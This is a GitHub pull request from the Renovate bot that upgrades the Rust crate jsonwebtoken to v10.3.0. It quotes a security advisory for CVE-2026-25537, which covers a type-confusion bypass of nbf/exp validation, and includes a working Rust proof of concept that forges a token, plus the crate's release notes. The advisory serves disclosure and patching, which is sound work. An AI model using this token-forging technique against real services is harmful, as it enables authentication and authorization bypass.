Skip to content

Comments

Update Rust crate jsonwebtoken to v10 [SECURITY]#40

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/crate-jsonwebtoken-vulnerability
Open

Update Rust crate jsonwebtoken to v10 [SECURITY]#40
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/crate-jsonwebtoken-vulnerability

Conversation

@renovate
Copy link

@renovate renovate bot commented Feb 4, 2026

This PR contains the following updates:

Package Type Update Change
jsonwebtoken dependencies major ^5.0.1^10.3.0

GitHub Vulnerability Alerts

CVE-2026-25537

Summary:

It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.

When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.

This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.

Details:

The vulnerability stems from the interaction between the TryParse enum and the validate function in src/validation.rs.

  1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:
enum TryParse<T> {
    Parsed(T),
    FailedToParse, // Set when deserialization fails (e.g. type mismatch)
    NotPresent,
}

If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.

  1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf
    like this:
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {
    return Err(new_error(ErrorKind::ImmatureSignature));
}

This matches! macro explicitly looks for TryParse::Parsed(nbf).

• If claims.nbf is FailedToParse, the match returns false.
• The if block is skipped.
• No error is returned.

  1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:
// Lines 259-267
for required_claim in &options.required_spec_claims {
    let present = match required_claim.as_str() {
        "nbf" => matches!(claims.nbf, TryParse::Parsed(_)),
        // ...
    };
    if !present { return Err(...); }
}

If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.

However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.

Environment:

• Version: jsonwebtoken 10.2.0
• Rust Version: rustc 1.90.0
• Cargo Version: cargo 1.90.0
• OS: MacOS Tahoe 26.2

POC:

For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.

create a new project:

cargo new nbf_poc; cd nbf_poc

add required dependencies:

cargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_json

replace the code in src/main.rs with this:

use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct Claims {
    sub: String,
    nbf: String, // Attacker sends nbf as a String
    exp: usize,
}
fn main() {
    let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";

    // nbf is a String "99999999999" (Far future)
    // Real nbf should be a Number.
    let my_claims: Claims = Claims {
        sub: "krishna".to_string(),
        nbf: "99999999999".to_string(), 
        exp: 10000000000, 
    };

    let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
    println!("Forged Token: {}", token);

    // 2. Configure Validation
    let mut validation: Validation = Validation::new(Algorithm::HS256);
    validation.validate_nbf = true; // Enable NBF check

    // We do NOT add "nbf" to required_spec_claims (default behavior)

    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
    // The library sees the raw JSON with string "nbf".
    let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
        &token, 
        &DecodingKey::from_secret(key), 
        &validation
    );

    match result {
        Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
        Err(e) => println!("Token rejected. Error: {:?}", e),
    }
}

run cargo run

expected behaviour:

Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk

Token was accepted despite malformed far-future 'nbf'!
Impact:

If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).

By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.

and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.


Release Notes

Keats/jsonwebtoken (jsonwebtoken)

v10.3.0

Compare Source

  • Export everything needed to define your own CryptoProvider
  • Fix type confusion with exp/nbf when not required

v10.2.0

Compare Source

  • Remove Clone bound from decode functions

v10.1.0

Compare Source

  • add dangerous::insecure_decode
  • Implement TryFrom &Jwk for DecodingKey

v10.0.0

Compare Source

  • BREAKING: now using traits for crypto backends, you have to choose between aws_lc_rs and rust_crypto
  • Add Clone bound to decode
  • Support decoding byte slices
  • Support JWS

v9.3.1

Compare Source

  • Update base64

v9.3.0

Compare Source

  • Add Validation.reject_tokens_expiring_in_less_than, the opposite of leeway

v9.2.0

Compare Source

  • Add an option to not validate aud in the Validation struct
  • Get the current timestamp in wasm without using std
  • Update ring to 0.17

v9.1.0

Compare Source

  • Supports deserialization of unsupported algorithms for JWKs

v9.0.0

Compare Source

  • Update ring
  • Rejects JWTs containing audiences when the Validation doesn't contain any

v8.3.0

Compare Source

  • Update base64
  • Implement Clone for TokenData if T impls Clone

v8.2.0

Compare Source

  • Add DecodingKey::from_jwk
  • Can now use PEM certificates if you have the use_pem feature enabled

v8.1.1

Compare Source

  • Fix invalid field name on OctetKeyParameters

v8.1.0

Compare Source

  • Make optional fields in the spec really optional
  • Implements Hash for Header

v8.0.1

Compare Source

  • Fix documentation of leeway

v8.0.0

Compare Source

  • Add EdDSA algorithm
  • sign/verify now takes a &[u8] instead of &str to be more flexible
  • DecodingKey now own its data
  • Remove deprecated dangerous_unsafe_decode
  • Validation::iss is now a HashSet instead of a single value
  • decode will now error if Validation::algorithms is empty
  • Add JWKs types for easy interop with various Oauth provider, see examples/auth0.rs for an example
  • Removed decode_* functions in favour of using the Validation struct
  • Allow float values for exp and nbf, yes it's in the spec... floats will be rounded and converted to u64
  • Error now implements Clone/Eq
  • Change default leeway from 0s to 60s
  • Add Validation::require_spec_claims to validate presence of the spec claims
  • Add default feature for pem decoding named use_pem that can be disabled to avoid 2 dependencies

v7.2.0

Compare Source

  • Add dangerous_insecure_decode to replace dangerous_unsafe_decode, which is now deprecated
  • Add dangerous_insecure_decode_with_validation

v7.1.2

Compare Source

  • Derive Hash for Header and Algorithm

v7.1.1

  • Update dependencies

v7.1.0

  • Add into_static to DecodingKey for easier re-use

v7.0.0

  • Add support for PS256, PS384 and PS512
  • Add support for verifying with modulus/exponent components for RSA
  • Update to 2018 edition
  • Changed aud field type in Validation to Option<HashSet<String>>. Audience
    validation now tests for "any-of-these" audience membership.
  • Add support for keys in PEM format
  • Add EncodingKey/DecodingKey API to improve performance and UX

6.0.1 (2019-05-10)

  • Fix Algorithm mapping in FromStr for RSA

6.0.0 (2019-04-21)

  • Update Ring to 0.14
  • Remove iat check to match the JWT spec
  • Add ES256 and ES384 signing decoding

5.0.1 (2018-09-10)

  • Add implementation of FromStr for Algorithm

5.0.0 (2018-08-13)

  • Update ring
  • Change error handling to be based on simple struct/enum rather than error-chain
  • Fix validations not being called properly in some cases
  • Default validation is not checking iat and nbf anymore

4.0.1 (2018-03-19)

  • Add method to decode a token without signature verification

4.0.0 (2017-11-22)

Breaking changes
  • Make it mandatory to specify the algorithm in decode

3.0.0 (2017-09-08)

Breaking changes
  • Remove validate_signature from Validation, use decode_header instead if you don't know the alg used
  • Make typ optional in header, some providers apparently don't use it
Others
  • Update ring & error-chain
  • Fix documentation about leeway being in seconds and not milliseconds
  • Add decode_header to only decode the header: replaces the use case of validate_signature

2.0.3 (2017-07-18)

  • Make TokenData public

2.0.2 (2017-06-24)

  • Update ring & chrono

2.0.1 (2017-05-09)

  • Update ring

2.0.0 (2017-04-23)

  • Use Serde instead of rustc_serialize
  • Add RSA support
  • API overhaul, see README for new usage
  • Add validation
  • Update all dependencies

Previous

  • 1.1.7: update ring
  • 1.1.6: update ring
  • 1.1.5: update ring version
  • 1.1.4: use ring instead of rust-crypto
  • 1.1.3: Make sign and verify public
  • 1.1.2: Update rust-crypto to 0.2.35
  • 1.1.1: Don't serialize empty fields in header
  • 1.1.0: Impl Error for jsonwebtoken errors
  • 1.0: Initial release

v6.0.1

  • Fix Algorithm mapping in FromStr for RSA

v6.0.0

  • Update Ring to 0.14
  • Remove iat check to match the JWT spec
  • Add ES256 and ES384 signing decoding

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/crate-jsonwebtoken-vulnerability branch 3 times, most recently from 7f8e053 to 185b826 Compare February 18, 2026 23:31
@renovate renovate bot force-pushed the renovate/crate-jsonwebtoken-vulnerability branch from 185b826 to b496ba5 Compare February 19, 2026 20:00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants